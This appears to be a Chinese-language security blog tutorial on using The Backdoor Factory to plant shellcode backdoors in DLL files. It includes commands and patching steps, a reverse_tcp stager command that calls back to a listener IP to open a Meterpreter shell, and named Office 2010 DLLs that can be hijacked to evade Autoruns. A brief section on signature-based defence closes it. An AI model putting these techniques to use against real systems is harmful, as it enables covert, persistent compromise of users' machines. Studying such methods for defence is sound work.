利用BDF向DLL文件植入後門
0x00 前言
在之前的文章《利用BDF向EXE文件植入後門》介紹了使用The Backdoor Factory向EXE文件植入後門的方法,這次將要介紹向DLL文件植入後門的思路,演示一種DLL劫持的利用方法,總結該方法的特點,分析防禦思路
0x01 簡介
本文將要介紹以下內容:
·劫持自己的DLL,修復BUG
·劫持系統的DLL,繞過Autoruns的後門檢測
0x02 利用思路
DLL同EXE文件的植入思路相同,也是通過修改程序的執行流程,跳轉到Code Caves,執行payload,再返回至程序的正常流程
DLL同EXE文件最大的區別是多了導出函數的功能
在實現DLL劫持時,常常需要獲得原DLL的導出函數,模擬導出函數,添加payload,實現利用
那麼,The Backdoor Factory在DLL文件的後門植入上,是否要考慮導出函數呢?
下面進行測試,得出結論
0x02 編寫程序進行測試
測試Dll testdll.dll:
#include <windows.h>#include <stdio.h>BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: //MessageBox(NULL, NULL, NULL, 0); //Sleep(5000); printf("[+] DLL_PROCESS_ATTACHn"); case DLL_THREAD_ATTACH: printf("[+] DLL_THREAD_ATTACHn"); case DLL_THREAD_DETACH: printf("[+] DLL_THREAD_DETACHn"); case DLL_PROCESS_DETACH: printf("[+] DLL_PROCESS_DETACHn"); break; } return TRUE;}void Export1(){ printf("[+] Export1n");}
導出函數為Export1
Dll載入程序 loader.exe:
#include <windows.h> typedef void(*Export)();int main(int argc, char* argv[]){ Export exporttest; printf("[*] LoadLibraryn"); HMODULE hDllLib = LoadLibrary("testdll.dll"); exporttest=(Export)GetProcAddress(hDllLib ,"Export1"); exporttest(); Sleep(10000); FreeLibrary(hDllLib); printf("[*] FreeLibraryn"); return 0;}
程序執行如下圖,載入testdll.dll,調用導出函數Export1
使用The Backdoor Factory為DLL文件添加後門:
msfvenom -p windows/exec CMD=calc.exe -f raw >calc.bin./backdoor.py -f testdll.dll -s user_supplied_shellcode_threaded -U calc.bin -a
再次執行loader.exe,測試如下圖
成功執行payload,但是改變了程序流程,無法正常返回FreeLibrary
需要對DLL進行調試,找到出錯的原因
首先生成空的跳轉模板:
./backdoor.py -f testdll.dll -s cave_miner_inline
選擇.text段
執行Loader.exe,程序一切正常,那麼就是中間的payload出了問題
使用Immunity Debugger打開新的testdll.dll,找到劫持的位置,payload保存在0x10005716
如下圖
這裡可以推測,payload只要能夠保持堆棧平衡,那麼就不會影響程序的正常執行
接下來,在0x10005716處填入我們的payload
可以使用CFF Explorer添加payload
首先定位payload起始點
PUSHADPUSHFD
對應的16進位代碼為609C
在CFF Explorer中切換到Hex Editor視圖,搜索609C,定位起始點0x0000571A
註:
通過Immunity Debugger獲得的內存虛擬地址為0x1000571A,二者對應,位置正確
為了擴大payload空間,可以將後面的調整堆棧平衡代碼整體後移
如下圖
將0x0005772-0x0000579E的數據整體後移,中間填入0x90
選中該部分內容,右鍵-Copy-Hex
找到合適的位置,右鍵-Fill With…
完整操作如下圖
依此方法,中間填入修改後的payload即可,完成Bug修復
通過Immunity Debugger查看DLL文件,可以看到The Backdoor Factory對DLL和EXE文件進行跳轉劫持的位置一樣
如下圖
得出結論:
對於DLL文件來說,劫持初始化部分造成的結果是在LoadLibrary時即可執行payload,如果想在程序載入DLL導出函數時執行payload,將跳轉代碼改到導出函數內即可
0x03 劫持系統的DLL
針對Office 2010,分享幾個自己找到的DLL劫持利用位置
1、劫持Word-審閱試圖
LOCALSVC.DLL,位於C:Program FilesCommon Filesmicrosoft sharedRRLoc14
對該dll添加payload
./backdoor.py -f LOCALSVC.DLL -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded
替換dll(需要管理員許可權),啟動word.exe,切換至審閱視圖,彈回meterpreter
測試如下圖
2、劫持word-插入-圖片
tiptsf.dll,位於C:Program FilesCommon Filesmicrosoft sharedink
需要TrustedInstaller許可權才能替換
關於如何獲得TrustedInstaller許可權,可參考文章《滲透技巧——Token竊取與利用》
3、劫持word-文件
也影響別的位置:
word -頁面布局-主題-瀏覽主題
GrooveIntlResource.dll,位於C:Program FilesMicrosoft OfficeOffice142052
需要管理員許可權
4、劫持Excel-插入-圖片
MSPTLS.DLL,位於C:Program FilesCommon Filesmicrosoft sharedOFFICE14
需要管理員許可權
以上測試如下圖
注:
本節內容僅為了演示DLL劫持的一些利用方法,這些特殊的劫持位置只會在軟體的特定功能打開時才會啟動,所以能夠繞過Autoruns的檢測
0x04 防禦
對於系統DLL,通過會帶有微軟簽名,如果對DLL植入後門,簽名會失效,這是一個老生常談的問題
而對於第三方開發的軟體,調用的第三方DLL不加簽名,那麼被利用的風險很大
0x05 小結
本文測試了使用The Backdoor Factory向DLL文件植入後門的方法,介紹修復BUG的思路,分享了一種DLL劫持的利用方法,僅供測試,通過總結該利用方法的特點,簡要介紹了防禦方面需要注意的問題
本文為 3gstudent 原創稿件,授權嘶吼獨家發布,如若轉載,請聯繫嘶吼編輯: http://www.4hou.com/technology/8205.html
推薦閱讀:
※侵襲歐洲的新型勒索病毒「壞兔子(Bad Rabbit)」會造成多大危害?該如何應對?
※看黑客如何劫持了三個機器人並進行監視和破壞活動
※英國議會郵箱系統遭遇黑客攻擊,超過90人電子郵箱被入侵
※思科調查:你越信任HTTPS,越容易被攻擊
※Tor瀏覽器高危漏洞 可泄漏用戶真實IP地址
TAG:信息安全 |